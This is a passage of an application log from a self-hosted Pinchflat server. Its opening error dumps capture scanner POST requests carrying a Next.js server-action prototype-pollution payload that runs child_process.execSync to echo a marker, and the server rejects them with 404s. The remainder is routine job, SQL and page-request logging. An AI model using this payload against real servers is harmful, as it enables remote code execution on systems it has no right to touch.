"https://pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-proto" => "https", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 647, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: true, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774679106_185',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "POST", owner: #PID<0.4150.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo VULN_1774679106_185',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"connection", "close"}, {"content-length", "647"}, {"content-type", "multipart/form-data; boundary=fc8652272426dcfe29b9fc6b83ad967d66db6c47bdfe3fea3d9988efb0f3"}, {"host", "pinchflat.internal.ubrown.me"}, {"next-action", "x"}, {"origin", "https://pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "85.11.167.19"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "85.11.167.19"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDtPt45PWj_7rIAAHgD"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "647", "content-type" => "multipart/form-data; boundary=fc8652272426dcfe29b9fc6b83ad967d66db6c47bdfe3fea3d9988efb0f3", "host" => "pinchflat.internal.ubrown.me", "next-action" => "x", "origin" => "https://pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-proto" => "https", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 647, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: true, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4149.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49860}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "647", "content-type" => "multipart/form-data; boundary=fc8652272426dcfe29b9fc6b83ad967d66db6c47bdfe3fea3d9988efb0f3", "host" => "pi (truncated) 02:25:08.501 [info] POST / 02:25:08.501 [debug] Could not render errors due to no supported media type in accept header. Expected one of ["html", "json"] but got the following formats: * "text/x-component" with extensions: [] To accept custom formats, register them under the :mime library in your config/config.exs file: config :mime, :types, %{ "application/xml" => ["xml"] } And then run `mix deps.clean --build mime` to force it to be recompiled. . Errors will be rendered using the first accepted format "html" as fallback. Please customize the :formats option under the :render_errors configuration in your endpoint if you want to support other formats or choose another fallback 02:25:08.501 [debug] QUERY OK source="settings" db=0.0ms idle=1045.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:08.501 [debug] QUERY OK source="settings" db=0.0ms idle=1045.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:25:08.502 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 02:25:08.502 [error] #PID<0.4152.0> running PinchflatWeb.Endpoint (connection #PID<0.4151.0>, stream id 1) terminated Server: pinchflat.internal.ubrown.me:80 (http) Request: POST / ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49862}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=3e213442b82a8381771de6b5be902109741bb76975e4a2d40b5ae9ac68a3", "host" => "pinchflat.internal.ubrown.me", "next-action" => "x", "origin" => "https://pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-proto" => "https", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: true, has_read_body: true }}, assigns: %{}, body_params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774679107',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, cookies: %{}, halted: false, host: "pinchflat.internal.ubrown.me", method: "POST", owner: #PID<0.4152.0>, params: %{ "0" => "{\"_response\":{\"_formData\":{\"get\":\"$1:constructor:constructor\"},\"_prefix\":\"var res=process.mainModule.require('child_process').execSync('echo TEST_1774679107',{'timeout':30000}).toString();throw Object.assign(new Error('NEXT_REDIRECT'),{digest:`${res}`});\"},\"reason\":-1,\"status\":\"resolved_model\",\"then\":\"$1:__proto__:then\",\"value\":\"{\\\"then\\\": \\\"$B0\\\"}\"}", "1" => "\"$@0\"" }, path_info: [], path_params: %{}, port: 80, private: %{ :plug_multipart => :done, PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.internal.ubrown.me", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {192, 168, 77, 190}, req_cookies: %{}, req_headers: [ {"accept", "text/x-component"}, {"accept-encoding", "gzip"}, {"accept-language", "en-US,en;q=0.9"}, {"connection", "close"}, {"content-length", "643"}, {"content-type", "multipart/form-data; boundary=3e213442b82a8381771de6b5be902109741bb76975e4a2d40b5ae9ac68a3"}, {"host", "pinchflat.internal.ubrown.me"}, {"next-action", "x"}, {"origin", "https://pinchflat.internal.ubrown.me"}, {"referer", "https://pinchflat.internal.ubrown.me"}, {"user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36"}, {"x-forwarded-for", "85.11.167.19"}, {"x-forwarded-proto", "https"}, {"x-real-ip", "85.11.167.19"} ], request_path: "/", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GKDtPxyLb7b5zOMAAMGB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49862}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=3e213442b82a8381771de6b5be902109741bb76975e4a2d40b5ae9ac68a3", "host" => "pinchflat.internal.ubrown.me", "next-action" => "x", "origin" => "https://pinchflat.internal.ubrown.me", "referer" => "https://pinchflat.internal.ubrown.me", "user-agent" => "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36", "x-forwarded-for" => "85.11.167.19", "x-forwarded-proto" => "https", "x-real-ip" => "85.11.167.19" }, method: "POST", body_length: 643, path_info: :undefined, qs: "", streamid: 1, host_info: :undefined, has_body: true, has_read_body: true }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for POST / (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.4151.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/", host: "pinchflat.internal.ubrown.me", peer: {{192, 168, 77, 190}, 49862}, bindings: %{}, sock: {{192, 168, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "text/x-component", "accept-encoding" => "gzip", "accept-language" => "en-US,en;q=0.9", "connection" => "close", "content-length" => "643", "content-type" => "multipart/form-data; boundary=3e213442b82a8381771de6b5be902109741bb76975e4a2d40b5ae9ac68a3", "host" => "pinchflat. (truncated) 02:25:29.715 [info] {"source":"oban","duration":334,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:25:59.716 [info] {"source":"oban","duration":301,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:00.221 [info] {"source":"oban","duration":145,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:26:29.717 [info] {"source":"oban","duration":376,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:26:59.718 [info] {"source":"oban","duration":442,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:00.222 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:27:29.719 [info] {"source":"oban","duration":236,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:27:59.720 [info] {"source":"oban","duration":297,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:00.223 [info] {"source":"oban","duration":137,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:28:29.721 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:28:59.722 [info] {"source":"oban","duration":289,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:00.224 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:29:29.723 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:29:59.724 [info] {"source":"oban","duration":389,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:00.225 [info] {"source":"oban","duration":141,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:30:29.725 [info] {"source":"oban","duration":252,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:30:59.726 [info] {"source":"oban","duration":248,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:00.226 [info] {"source":"oban","duration":140,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:31:29.727 [info] {"source":"oban","duration":305,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:31:59.728 [info] {"source":"oban","duration":288,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:00.227 [info] {"source":"oban","duration":151,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:32:29.729 [info] {"source":"oban","duration":250,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:32:59.730 [info] {"source":"oban","duration":244,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:00.228 [info] {"source":"oban","duration":180,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:33:29.731 [info] {"source":"oban","duration":345,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:33:59.732 [info] {"source":"oban","duration":383,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:00.229 [info] {"source":"oban","duration":144,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:34:29.733 [info] {"source":"oban","duration":549,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:34:59.734 [info] {"source":"oban","duration":522,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:00.230 [info] {"source":"oban","duration":209,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:35:29.735 [info] {"source":"oban","duration":350,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:35:59.736 [info] {"source":"oban","duration":607,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:00.231 [info] {"source":"oban","duration":142,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:36:29.737 [info] {"source":"oban","duration":293,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:36:59.738 [info] {"source":"oban","duration":536,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:00.232 [info] {"source":"oban","duration":117,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:37:29.739 [info] {"source":"oban","duration":385,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:37:59.740 [info] {"source":"oban","duration":359,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:00.233 [info] {"source":"oban","duration":149,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:38:29.741 [info] {"source":"oban","duration":375,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:38:59.742 [info] {"source":"oban","duration":360,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:00.234 [info] {"source":"oban","duration":146,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:39:29.743 [info] {"source":"oban","duration":318,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:39:59.744 [info] {"source":"oban","duration":370,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:00.235 [info] {"source":"oban","duration":216,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:40:29.745 [info] {"source":"oban","duration":306,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:40:59.746 [info] {"source":"oban","duration":339,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:00.236 [info] {"source":"oban","duration":132,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:41:29.747 [info] {"source":"oban","duration":328,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:41:59.748 [info] {"source":"oban","duration":354,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:00.237 [info] {"source":"oban","duration":255,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:42:29.749 [info] {"source":"oban","duration":344,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:42:59.750 [info] {"source":"oban","duration":313,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:00.238 [info] {"source":"oban","duration":101,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:43:29.751 [info] {"source":"oban","duration":279,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:43:30.257 [info] GET /sources/1/edit 02:43:30.257 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "1"} Pipelines: [:browser] 02:43:30.257 [debug] QUERY OK source="sources" db=0.0ms idle=729.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 02:43:30.257 [debug] QUERY OK source="media_profiles" db=0.2ms idle=729.4ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:43:30.257 [debug] QUERY OK source="settings" db=0.0ms idle=729.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.257 [debug] QUERY OK source="settings" db=0.0ms idle=729.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.258 [debug] QUERY OK source="settings" db=0.2ms idle=506.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.260 [info] Sent 200 in 3ms 02:43:30.758 [info] GET /sources/new 02:43:30.758 [debug] Processing with PinchflatWeb.Sources.SourceController.new/2 Parameters: %{} Pipelines: [:browser] 02:43:30.758 [debug] QUERY OK source="media_profiles" db=0.1ms idle=500.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:43:30.758 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.758 [debug] QUERY OK source="settings" db=0.0ms idle=500.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.759 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.759 [debug] QUERY OK source="settings" db=0.0ms idle=414.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.759 [debug] QUERY OK source="settings" db=0.0ms idle=0.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:30.760 [info] Sent 200 in 1ms 02:43:31.258 [info] GET /sources/3/edit 02:43:31.258 [debug] Processing with PinchflatWeb.Sources.SourceController.edit/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 02:43:31.259 [debug] QUERY OK source="sources" db=0.2ms idle=500.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 02:43:31.259 [debug] QUERY OK source="media_profiles" db=0.0ms idle=500.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at" FROM "media_profiles" AS m0 ORDER BY m0."name" [] 02:43:31.259 [debug] QUERY OK source="settings" db=0.0ms idle=500.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:31.259 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:31.260 [debug] QUERY OK source="settings" db=0.0ms idle=500.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 02:43:31.261 [info] Sent 200 in 2ms 02:43:59.752 [info] {"source":"oban","duration":319,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:00.239 [info] {"source":"oban","duration":195,"event":"plugin:stop","plugin":"Oban.Plugins.Cron","jobs":[]} 02:44:29.753 [info] {"source":"oban","duration":498,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 02:44:38.746 [info] GET /sources/3 02:44:38.746 [info] GET /sources/2/edit 02:44:38.746 [debug] Processing with PinchflatWeb.Sources.SourceController.show/2 Parameters: %{"id" => "3"} Pipelines: [:browser] 02:44:38.746 [debug] Processing with 